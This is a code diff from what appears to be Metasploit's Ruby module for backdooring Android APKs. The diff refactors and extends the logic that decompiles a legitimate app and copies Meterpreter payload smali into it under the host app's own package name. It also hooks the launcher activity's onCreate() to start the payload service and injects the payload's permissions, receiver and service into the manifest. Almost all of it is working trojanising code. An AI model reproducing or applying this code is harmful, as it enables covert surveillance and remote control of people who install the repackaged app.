8
8
require 'optparse'
9
9
require 'open3'
10
10
11
- module Msf ::Payload ::Apk
12
-
13
- class ApkBackdoor
14
- include Msf ::Payload ::Apk
15
- def backdoor_apk ( apk , payload )
16
- backdoor_payload ( apk , payload )
17
- end
18
- end
11
+ class Msf ::Payload ::Apk
19
12
20
13
def print_status ( msg = '' )
21
14
$stderr. puts "[*] #{ msg } "
@@ -65,62 +58,45 @@ def find_launcher_activity(amanifest)
65
58
end
66
59
end
67
60
68
- def fix_manifest ( tempdir )
69
- payload_permissions = [ ]
70
-
71
- #Load payload's permissions
72
- File . open ( "#{ tempdir } /payload/AndroidManifest.xml" , "rb" ) { |file |
73
- k = File . read ( file )
74
- payload_manifest = Nokogiri ::XML ( k )
75
- permissions = payload_manifest . xpath ( "//manifest/uses-permission" )
76
- for permission in permissions
77
- name = permission . attribute ( "name" )
78
- payload_permissions << name . to_s
79
- end
80
- }
81
-
82
- original_permissions = [ ]
83
- apk_mani = ""
84
-
85
- #Load original apk's permissions
86
- File . open ( "#{ tempdir } /original/AndroidManifest.xml" , "rb" ) { |file2 |
87
- k = File . read ( file2 )
88
- apk_mani = k
89
- original_manifest = Nokogiri ::XML ( k )
90
- permissions = original_manifest . xpath ( "//manifest/uses-permission" )
91
- for permission in permissions
92
- name = permission . attribute ( "name" )
93
- original_permissions << name . to_s
94
- end
61
+ def parse_manifest ( manifest_file )
62
+ File . open ( manifest_file , "rb" ) { |file |
63
+ data = File . read ( file )
64
+ return Nokogiri ::XML ( data )
95
65
}
66
+ end
96
67
97
- #Get permissions that are not in original APK
98
- add_permissions = [ ]
68
+ def fix_manifest ( tempdir )
69
+ #Load payload's manifest
70
+ payload_manifest = parse_manifest ( "#{ tempdir } /payload/AndroidManifest.xml" )
71
+ payload_permissions = payload_manifest . xpath ( "//manifest/uses-permission" )
72
+
73
+ #Load original apk's manifest
74
+ original_manifest = parse_manifest ( "#{ tempdir } /original/AndroidManifest.xml" )
75
+ original_permissions = original_manifest . xpath ( "//manifest/uses-permission" )
76
+
77
+ manifest = original_manifest . xpath ( '/manifest' )
78
+ old_permissions = [ ]
79
+ for permission in original_permissions
80
+ name = permission . attribute ( "name" ) . to_s
81
+ old_permissions << name
82
+ end
99
83
for permission in payload_permissions
100
- if !( original_permissions . include? permission )
101
- print_status ( "Adding #{ permission } " )
102
- add_permissions << permission
84
+ name = permission . attribute ( "name" ) . to_s
85
+ unless old_permissions . include? ( name )
86
+ print_status ( "Adding #{ name } " )
87
+ original_permissions . before ( permission . to_xml )
103
88
end
104
89
end
105
90
106
- inject = 0
107
- new_mani = ""
108
- #Inject permissions in original APK's manifest
109
- for line in apk_mani . split ( "\n " )
110
- if ( line . include? "uses-permission" and inject ==0 )
111
- for permission in add_permissions
112
- new_mani << '<uses-permission android:name="' +permission +'"/>' +"\n "
113
- end
114
- new_mani << line +"\n "
115
- inject = 1
116
- else
117
- new_mani << line +"\n "
118
- end
119
- end
120
- File . open ( "#{ tempdir } /original/AndroidManifest.xml" , "wb" ) { |file | file . puts new_mani }
91
+ application = original_manifest . at_xpath ( '/manifest/application' )
92
+ application << payload_manifest . at_xpath ( '/manifest/application/receiver' ) . to_xml
93
+ application << payload_manifest . at_xpath ( '/manifest/application/service' ) . to_xml
94
+
95
+ File . open ( "#{ tempdir } /original/AndroidManifest.xml" , "wb" ) { |file | file . puts original_manifest . to_xml }
121
96
end
122
97
123
- def backdoor_payload ( apkfile , raw_payload )
98
+ def backdoor_apk ( apkfile , raw_payload )
99
+
124
100
unless apkfile && File . readable? ( apkfile )
125
101
usage
126
102
raise RuntimeError , "Invalid template: #{ apkfile } "
@@ -163,9 +139,7 @@ def backdoor_payload(apkfile, raw_payload)
163
139
print_status "Decompiling payload APK..\n "
164
140
run_cmd ( "apktool d #{ tempdir } /payload.apk -o #{ tempdir } /payload" )
165
141
166
- f = File . open ( "#{ tempdir } /original/AndroidManifest.xml" )
167
- amanifest = Nokogiri ::XML ( f )
168
- f . close
142
+ amanifest = parse_manifest ( "#{ tempdir } /original/AndroidManifest.xml" )
169
143
170
144
print_status "Locating hook point..\n "
171
145
launcheractivity = find_launcher_activity ( amanifest )
@@ -189,15 +163,33 @@ def backdoor_payload(apkfile, raw_payload)
189
163
raise RuntimeError , "Unable to find onCreate() in #{ smalifile } \n "
190
164
end
191
165
192
- print_status "Copying payload files.. \n "
193
- FileUtils . mkdir_p ( "#{ tempdir } /original /smali/com/metasploit/stage/" )
194
- FileUtils . cp Dir . glob ( "#{ tempdir } /payload/smali/com/metasploit/stage/Payload *.smali" ) , " #{ tempdir } /original/smali/com/metasploit/stage/"
166
+ # Remove unused files
167
+ FileUtils . rm "#{ tempdir } /payload /smali/com/metasploit/stage/MainActivity.smali"
168
+ FileUtils . rm Dir . glob ( "#{ tempdir } /payload/smali/com/metasploit/stage/R *.smali" )
195
169
196
- payloadhook = entrypoint + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V"
170
+ package = amanifest . xpath ( "//manifest" ) . first [ 'package' ]
171
+ package_slash = package . gsub ( /\. / , "/" )
172
+ print_status "Adding payload as package #{ package } \n "
173
+ payload_files = Dir . glob ( "#{ tempdir } /payload/smali/com/metasploit/stage/*.smali" )
174
+ payload_dir = "#{ tempdir } /original/smali/#{ package_slash } /"
175
+ FileUtils . mkdir_p payload_dir
176
+
177
+ # Copy over the payload files, fixing up the smali code
178
+ payload_files . each do |file_name |
179
+ smali = File . read ( file_name )
180
+ newsmali = smali . gsub ( /com\/ metasploit\/ stage/ , package_slash )
181
+ newfilename = "#{ payload_dir } #{ File . basename file_name } "
182
+ File . open ( newfilename , "wb" ) { |file | file . puts newsmali }
183
+ end
184
+
185
+ payloadhook = entrypoint + %Q^
186
+ invoke-static {p0}, L#{ package_slash } /MainService;->startService(Landroid/content/Context;)V
187
+ ^
197
188
hookedsmali = activitysmali . gsub ( entrypoint , payloadhook )
198
189
199
190
print_status "Loading #{ smalifile } and injecting payload..\n "
200
191
File . open ( smalifile , "wb" ) { |file | file . puts hookedsmali }
192
+
201
193
injected_apk = "#{ tempdir } /output.apk"
202
194
print_status "Poisoning the manifest with meterpreter permissions..\n "
203
195
fix_manifest ( tempdir )
0 commit comments